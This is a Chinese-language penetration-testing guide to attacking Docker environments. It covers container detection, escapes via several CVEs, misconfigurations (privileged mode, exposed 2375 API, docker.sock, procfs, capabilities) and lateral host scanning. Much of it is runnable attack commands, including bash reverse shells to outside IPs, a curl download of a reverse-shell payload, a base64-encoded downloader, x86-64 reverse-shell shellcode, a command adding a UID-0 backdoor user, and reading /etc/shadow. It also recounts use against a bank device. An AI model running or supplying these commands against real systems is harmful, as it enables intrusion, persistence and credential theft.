# Docker常见攻击方式

#### Docker安全基础 <a href="#toc890676569" id="toc890676569"></a>

**攻击模型**

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FugXayAX1DANSSlHmdEWI%2Fimage.png?alt=media&#x26;token=98c72664-d8ff-4147-ba90-e52092f10359" alt=""><figcaption></figcaption></figure>

* &#x20;应用攻击容器，常规漏洞打进来就是容器
* &#x20;容器攻击其它容器，在容器中进行横向渗透
* &#x20;容器攻击宿主机，这种属于逃逸
* &#x20;主机攻击容器，本机、或其它主机

**Control Group**

命名空间用于隔离，那么控制组就是用于限额。

容器之间是互相隔离的，但却共享OS资源，比如CPU、RAM以及IO。CGroup允许用户设置限制，这样单个容器就不能占用主机的CPU、RAM等资源了。

**Capability**

以root身份运行容器不是很安全，root拥有全部的权限，因此很危险，如果以非root身份运行容器那么将处处受，所以需要一种技术，能选择容器运行所需的root用户权限。

在底层，Linux root由许多能力组成，包括以下几点：

* &#x20;CAP\_CHOWN - 允许用户修改文件所有权
* &#x20;CAP\_NET\_BIND\_SERVICE - 允许用户将socket绑定到系统端口号
* &#x20;CAP\_SETUID - 允许用户提升进程优先级
* &#x20;CAP\_SYS\_BOOT - 允许用户重启系统

**漏洞环境**

研究漏洞时，我们经常会发现环境搭建会占用大量的时间，与之相比，真正测试PoC、 ExP的时间可能非常短，所以这里推荐这个项目用于平常练习：

```bash
https://github.com/Metarget/metarget
```

目前只支持：Ubuntu18.04

```bash
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5
 
#安装cve-2020-15257漏洞环境
./metarget cnv install cve-2020-15257
 
#启动漏洞环境
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
 
#安装privileged-container环境
./metarget cnv install privileged-container
 
#k8s启动进入容器
kubectl exec -it -n metarget privileged-container /bin/bash
```

**识别容器**

* &#x20;ls -alh /.dockerenv（较为常用）

> /.dockerenv是所有容器中都会存在这个文件，这个文件曾是LCX用于环境变量加载到容器中，现在容器不再使用LCX所以内容为空，通过这种方式来识别当前环境是否在容器中。

&#x20;

* &#x20;cat /proc/1/cgroup |grep "docker"

> 为了限制容器的资源，Docker为每个容器创建了一个控制组以及一个名为docker的父控制组，如果某个进程在Docker容器中启动，则该进程将必须在该容器控制中，所以通过查看初始进程的cgroup来验证是否为容器。

* &#x20;ps aux

> 在容器中不会看到关于init或者systemd进程，而且查看进程相当的少

&#x20;

* &#x20;程序缺失

> Docker的镜像会尽可能的小，只保留一些必要的库，而一些像常用的命令都没有
>
> 像程序缺失造成无法继续其它操作时，先判断docker能否上网，如果能够上网就自行安装，像centos7使用yum，Ubuntu使用apt-get，alpine使用apk、Busybox

&#x20;

关于容器蜜罐

确实有部分蜜罐通过容器来构建，所以当拿下一个Shell时发现是容器，怀疑是蜜罐的话，可以通过这几个方面来确认：

* &#x20;mount #挂载目录情况
* &#x20;df -h #查看磁盘大小

所以就算是蜜罐，也会存在被逃逸。

小故事：在某次攻防演练中，某个同事通过Shiro拿到Shell交由内网的同事，但由于对容器等方面研究不够，看到内核为Alpine认为是蜜罐直接放弃。但靓仔的做事风格是，不能轻易相信别人说的话，所以亲自测试发现蜜罐可被逃逸可横向渗透。

**Docker渗透工具**

CDK是一款为容器环境定制的渗透测试工具，在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式，插件化管理。

{% embed url="<https://github.com/cdk-team/CDK/wiki/CDK-Home-CN>" %}

#### Docker逃逸 <a href="#toc1640075593" id="toc1640075593"></a>

容器逃逸我总结为三个方面：

* &#x20;容器自身漏洞
* &#x20;配置不当：Capabilities、特权模式
* &#x20;Kernel Vulnerabilities

**容器漏洞**

**CVE-2020-15257**

containerd-shim是守护进程的作用，shim职责是保持所有STDIN和STDOUT流是开启状态

containerd-shim是运行容器的载体,每一个容器对应一个containerd-shim进程,其父进程为containerd

![](https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FfH2VtHtWYHbc50ibb9wA%2Fimage.png?alt=media\&token=b767401f-5a64-4725-bbff-b9af0fc1c3a2)&#x20;

在Containerd 1.3.9版本之前和1.4.0\~1.4.2，使用了--host网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。

此模式直接使用宿主机网卡和IP地址，导致容器与宿主机共享一套Network Namespace，使containerd-shim API暴露了出来。

Host模式特点：

* 共享宿主机网络
* 网络性能无损耗
* 各容器网络无隔离
* 网络资源无法分别统计
* 端口管理困难
* 不支持端口映射

安装漏洞环境

```bash
./metarget cnv install cve-2020-15257
```

启动漏洞环境

```bash
docker run -it --net=host --name=15257 ubuntu /bin/bash
```

判断是否使用host模式

```bash
cat /proc/net/unix | grep 'containerd-shim'
```

![](https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FmhsoTJGGpUi6cqPPiQRq%2Fimage.png?alt=media\&token=c5e53987-0208-486c-aec5-4bcdaa8c67cc)&#x20;

利用cdk工具自带exp逃逸，前提是需要出网，有webshell尽量用，没有使用此方法。

```bash
#公网机器开启NC
nc -lvp 999 < cdk
 
#容器运行写入
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
 
#反弹宿主机的shell到远端服务器
./cdk_linux_amd64 run shim-pwn reverse 192.168.250.28 4455
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2Fx4icBsIx56ijmAd0z71c%2Fimage.png?alt=media&#x26;token=bad32460-4740-4fb4-a35d-226d5d424502" alt=""><figcaption></figcaption></figure>

注意：

如执行cdk反弹Shell出现如下错误：

{% code overflow="wrap" %}

```bash
rpc error: code = Unknown desc = OCI runtime create failed: exec: "runc": executable file not found in $PATH
```

{% endcode %}

解决：

```bash
ln -s /usr/sbin/runc /usr/sbin/docker-runc
```

&#x20;

**CVE-2019-5736**

{% embed url="<https://thinkycx.me/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html>" %}

runC漏洞，前提条件是需要docker exec、attach时才会触发漏洞

攻击者可以修改runc的二进制文件导致提权，需要管理员执行exec才能触发，条件有限。

版本漏洞：

Docker version <=18.09.2

RunC version <=1.0-rc6

下载bash脚本，安装漏洞环境：

{% embed url="<https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/>" %}

安装Go

```bash
wget https://storage.googleapis.com/golang/go1.9.linux-amd64.tar.gz
tar xf go1.9.linux-amd64.tar.gz
mv go /usr/local
vim /etc/profile
export GOROOT=/usr/local/go
export GOPATH=$HOME/work
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
source  /etc/profile
go version
go env
```

下载POC

{% embed url="<https://github.com/Frichetten/CVE-2019-5736-PoC>" %}

编译

```bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将编译的main复制到docker容器中：
docker cp main name:/home
docker exec -it name bash
cd /home/
chmod 777 main
./main
```

此时等管理员进入容器将触发：

```bash
docker exec -it name /bin/bash
```

或者将POC中的获取/etc/shadow改为反弹Shell

改为反弹Shell，获得宿主机权限。

```bash
bash -i >& /dev/tcp/123.123.123.123/8080 0>& 1
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FglbWGFQfDAW6wPjVvJR7%2Fimage.png?alt=media&#x26;token=113e9ccb-f3f2-4584-a2f4-0164f2714540" alt=""><figcaption></figcaption></figure>

**Portainer后台（逃逸）**

Portainer是一个可视化的容器镜像的图形管理工具，利用Portainer可以轻松构建，管理和维护Docker环境。 而且完全免费，基于容器化的安装方式，方便高效部署。

原理就是创建容器挂载宿主机目录，通过chroot切换Shell

后台没有默认帐号密码，当第一次登录系统会提示设置新密码。

进入容器中：

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FdvJFp2aSVUYEWNgOsSMm%2Fimage.png?alt=media&#x26;token=1c75824b-754e-43b2-a39a-5b67483e0737" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FU10amDlDhlfjqYLZiC2Z%2Fimage.png?alt=media&#x26;token=271a3e07-398b-4e50-9880-a09ccd0c2704" alt=""><figcaption></figcaption></figure>

添加容器：

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FPj4TFU3og1vXfN8iWlIA%2Fimage.png?alt=media&#x26;token=41791242-ed0a-4d44-9021-10b575c01fda" alt=""><figcaption></figcaption></figure>

填写内容：

境像随便找一个，

![](https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2F4BalV7C5jxjudub0ls1d%2Fimage.png?alt=media\&token=2ee5090d-7092-4816-8026-6d9404739eda)&#x20;

重点是添加Volumes

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FwAg2pPIomvbsiFH4MvEM%2Fimage.png?alt=media&#x26;token=171cea20-ca50-4bfe-81d1-f6cc6ba8d5a1" alt=""><figcaption></figcaption></figure>

挂载根目录：

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FkwxQVof6ch2MkrbuYMX1%2Fimage.png?alt=media&#x26;token=3fae01fd-4554-4990-badd-689480dc1368" alt=""><figcaption></figcaption></figure>

之后部署：

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FFJulr6As5AA4w0Q4xuiQ%2Fimage.png?alt=media&#x26;token=73950aee-d399-4575-bfc0-f9b5f5ec6e03" alt=""><figcaption></figcaption></figure>

部署成功后回到容器中：

进入到终端

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FWHOb6Cd9fQ4ZPdOf6uK3%2Fimage.png?alt=media&#x26;token=5a3c575d-555b-4186-a578-6ed591ce1b96" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2F6LBRvLtu8CSfEglRiUnu%2Fimage.png?alt=media&#x26;token=65b60b8f-ccdd-4a86-b712-32c465a40e57" alt=""><figcaption></figcaption></figure>

在实战中往往创建一个容器启动不起来。

可以先进入Stacks进入到一个已启动的容器中：

从这里面挂载宿主根目录。

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FFfegCuv4OOnh2k3tjbnQ%2Fimage.png?alt=media&#x26;token=5c43606f-7b2c-4ee8-bf53-be38e11ddc99" alt=""><figcaption></figcaption></figure>

回到Containers中，进入终端

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FWxKzdLvzHv3SaRYPKGz0%2Fimage.png?alt=media&#x26;token=14b0a1b7-2040-4f35-872b-27c2b96206a4" alt=""><figcaption></figcaption></figure>

将/host目录设置为当前终端目录

```bash
chroot /host/ bash
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2F1rUzslFRtToJbTnKZBAH%2Fimage.png?alt=media&#x26;token=e6b740ea-09e3-4f94-a73e-1dc24609d38b" alt=""><figcaption></figcaption></figure>

**配置不当**

**特权模式**

当容器启动加上--privileged选项时，容器可以访问宿主机上磁盘设备。

```bash
#启动一个特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 bash
```

判断容器是否特权启动

{% code overflow="wrap" %}

```bash
#查看磁盘，默认情况下容器执行fdisk -l是无法查看
fdisk -l
 
#查看CapEff值，特权值为：0000003fffffffff
cat /proc/self/status | grep CapEff
 
#容器中没有capsh命令可以在其它机器上执行查看
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,35,36,37
```

{% endcode %}

挂载宿主机目录逃逸

```bash
#创建一个挂载目录
mkdir /tmp/hosts
 
#查看宿主机磁盘文件
fdisk -l
 
#挂载到创建的目录
mount /dev/sda1 /tmp/hosts/
cd /tmp/hosts/
 
#通过chroot切换bash
chroot ./ bash
```

实战场景：护网某银行上网设备

通过漏洞获取WebShell，查看根目录存在.dockerenv，可通过fdisk -l查看磁盘目录进行挂载目录逃逸:

```bash
#Webshell下操作
df -h
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FXKRGC4s3UtcXrWvzL4XY%2Fimage.png?alt=media&#x26;token=438b0936-676c-4202-9af8-af3ffc60c425" alt=""><figcaption></figcaption></figure>

本地追加添加用户，最后通过SSH进行远程连接：

{% code overflow="wrap" %}

```bash
#通过chroot切换bash添加用户
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/ccided ccided -p
\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee62f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/
```

{% endcode %}

**2375端口利用**

在最初版本安装Docker时默认会把2375端口对外开放，目前默认只允许本地访问。

```bash
#开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
--containerd=/run/containerd/containerd.sock
#探测是否访问未授权访问
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.3.17:2375 info
 
#如果能访问，推荐使用这种方式，操作方便，和本地操作无差
export DOCKER_HOST="tcp://192.168.238.129:2375" 

#Metasploit也有此模块
Search docker
```

关注2375、2376端口，他们的区别是2375端口：表示未加密，2376端口：表示加密通讯

实际案例:

```bash
FOFA：port="2375" && country="CN" && "Docker"
```

&#x20;![](https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FLaW6neZY1phdAdq8yFZN%2Fimage.png?alt=media\&token=d1b427c9-89da-4c83-b0af-b966ea4d35aa)

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2F8rmeNw2otxKwDlkPAxzO%2Fimage.png?alt=media&#x26;token=5d7335f1-a9f4-4188-9dcc-9ed97029e10f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FFdt0ijuD9LFh3D6AWjaN%2Fimage.png?alt=media&#x26;token=592698cc-34df-46a7-84d6-e353e4be20c3" alt=""><figcaption></figcaption></figure>

利用容器创建一个拥有特权并且挂载宿主机/根目录的容器

```bash
#连接
export DOCKER_HOST="tcp://192.168.238.129:2375"
 
#创建一个容器并具备特殊和挂载宿主机目录
docker run --rm -it --privileged --net=host -v /:/tmp/docker alpine
cd /tmp/docker
 
#通过chroot切换bash
chroot ./ bash
cat /etc/shadow
```

**Docker Socket**

寻找docker.sock文件，利用此文件与宿主机建立交互。

有一定机率存在但不常用，看运气。

```bash
#查找docker.sock
find / -name docker.sock 2>/dev/null
 
#连接
docker -H unix:///run/docker.sock info
```

一般情况下没有docker客户端，如果出网直接在线安装：apt-get install docker.io

不出网利用cdk中的模块，通过本地unix socket向docker API发起自定义HTTP请求。

```bash
./cdk ucurl get /var/run/docker.sock http://127.0.0.1/info ""
```

**Procfs目录挂载逃逸**

procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态

procfs中的/proc/sys/kernel/core\_pattern负责配置进程崩溃时内存转储数据的导出方式。从手册\[1]中我们能获得关于内存转储的详细信息，关键信息如下：

从2.6.19内核版本开始，Linux支持在/proc/sys/kernel/core\_pattern中使用新语法。如果该文件中的首个字符是管道符|，那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

环境准备：

{% code overflow="wrap" %}

```bash
#安装基础环境，安装过可以跳过
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic

#安装
./metarget cnv install mount-host-procfs

#启动容器
kubectl exec -it -n metarget mount-host-procfs /bin/bash

场景较少
#判断是否procfs是否可以逃逸
./cdk_linux_amd64 evaluate --full
 
#查看挂载路径
mount
 
#判断是否出网
./cdk_linux_amd64 run mount-procfs /host-proc "touch /tmp/success_proc"
 
#先尝试直接反弹Shell
./cdk_linux_amd64 run mount-procfs /host-proc "bash -i >& /dev/tcp/192.168.250.28/4242 0>&1"
 
#不能直接反弹Shell，将反弹shell下载到目录下执行
./cdk_linux_amd64 run mount-procfs /host-proc "curl http://192.168.238.159:8080/reshell -o /tmp/shell"
 
#无wget、curl下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "echo
Iwt94wEKcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwgIiR7MS8vIi8iLyB9IgpET0M9LyR7cGF0aC8vIC8vfQpIT1NUPSR7c2VydmVyLy86Kn0KUE9SVD0ke3NlcnZlci8vKjp9CltbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCmV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAplY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwoKIy1yIE89IFwMCUz71khlYWRlcugGDDlNMFxyMVxi+9YKd2hpbGUgSUZTPSByZWFkIC1yIGxpbmUgOyBkbyAKICAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKZG9uZSA8JjMKbnVsPSdcMCcKI/vWYm9keYSFuQp3aGlsZSBJRlM9IHJlYWQgLWQgJycgLXIgeCB8fCB7IG51bD0iIjsgWyAtbiAiJHgiIF07IH07IGRvIAogICAgcHJpbnRmICIlcyRudWwiICIkeCIKZG9uZSA8JjMKCiNz7ZP6CmV4ZWMgMz4mLQ== | base64 -d > /root/download"
 
#下载文件
./cdk_linux_amd64 run mount-procfs /host-proc "bash /root/download http://192.168.250.28:8000/reverse > /tmp/reverse"
 
./cdk_linux_386 run mount-procfs /host-proc "chmod +x /tmp/shell && nohup bash /tmp/shell&"
```

{% endcode %}

条件苛刻情况下，可以利用反弹Shell下载反弹Shell文件最后执行

**Capabilities**

Capabilities是Linux一种安全机制，是在Linux内核2.2之后引入的，主要作用权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。

目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities，再以白名单方式赋予容器运行所需的最小权限。

```bash
#查看Capabilities
cat /proc/self/status | grep CapEff
capsh --print
```

Evaluate: Commands and Capabilities

{% embed url="<https://github.com/cdk-team/CDK/wiki/Evaluate:-Commands-and-Capabilities>" %}

检测容器内可用的linux命令以及linux capabilities，其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程，此外capabilities可以用于判断容器是否为特权容器，某些敏感的capabilities入CAP\_SYSADMIN, CAP\_NETADMIN, CAP\_PTRACE等也可用来进行容器逃逸。

**CAP\_SYS\_ADMIN**

漏洞环境：

{% code overflow="wrap" %}

```bash
docker run --rm -it --cap-add=CAP_SYS_ADMIN --security -opt apparmor=unconfined ubuntu /bin/bash 
```

{% endcode %}

设置后允许执行系统管理任务，如加载或卸载文件系统、设置磁盘配额等

实际场景不多，逃逸方法参考挂载目录方式。

通过capsh查看：

```bash
capsh --print
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2F0z9jxQhlJc6Pm8hEh0Ge%2Fimage.png?alt=media&#x26;token=e3030435-e0d2-429c-89f1-65e227e4a826" alt=""><figcaption></figcaption></figure>

容器目前是具备有管理功能，并且可以访问到宿主机上的磁盘

**SYS\_PTRACE**

实际场景不多

拥有SYS\_PTRACE权限可以通过进程注入达到逃逸

查找HTTP服务器的PID：ps -eaf

生成反弹shellcode

{% code overflow="wrap" %}

```bash
\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02 \x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x 0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x4 8\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05
```

{% endcode %}

进程注入程序：

<https://0x00sec.org/t/linux-infecting-running-processes/1097>

<https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c>

```bash
gcc inject.c -o inject
./inject 733
nc 172.17.0.1 5600
```

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FMCYewOPvgDr8p5XRgIH4%2Fimage.png?alt=media&#x26;token=9274d009-9321-4d94-841f-74444c37930b" alt=""><figcaption></figcaption></figure>

更多方式利用

[HackTricks Linux Capabilities](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)

#### Docker横向探测 <a href="#toc1797882306" id="toc1797882306"></a>

* &#x20;一般容器下 ping 、 vi 命令都没有，如果出网的情况下可以在线安装；
* &#x20;使用 Go 编译出来的程序， fscan 、 httpx 等相关工具都能在容器上使用；
* &#x20;busybox 是静态编译的，不依赖于系统的动态链接库，集成了三百多个Linux常用命令的工具，将busybox上传到容器中就可以支持大部分linux命令。
  * &#x20;下载地址：
  * &#x20;<https://www.busybox.net/downloads/binaries/1.30.0-i686/busybox>
* &#x20;与传统内网渗透无差别，只是环境受限。

<figure><img src="https://2774253028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LxZ3g61O4Qp4qY2guHB%2Fuploads%2FmXNjClwzvAAPZIH3HnUd%2Fimage.png?alt=media&#x26;token=f5d1b376-4104-4a63-b871-4f4ff89549e4" alt=""><figcaption></figcaption></figure>

探测存活主机bash脚本：

```bash
#Bash，探测C段存活
mkdir -p /usr/tmp/
cat > ping.sh << EOF
#!/usr/bin/env bash
for ip in {1..254};do
    ./busybox ping -c1 -W1 10.244.0.\$ip|grep -q "ttl=" && echo "10.244.0.\$ip yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
done
wait
EOF

#这样会把容器跑死，影响业务，要把wait去掉
cat > ping.sh << EOF
#!/usr/bin/env bash
for i in {1..254};do
    for j in {1..254};do
        ./busybox ping -c1 -W1 10.\$i.\$j.1|grep -q "ttl=" && echo "10.\$i.\$j.0/24 yes" >> /usr/tmp/.sys.log & >/dev/null 2>&1;
    done
done
wait
EOF
```

容器里面的网卡是不可信的，他只是k8s分配，还是需要探测10、172、192网段
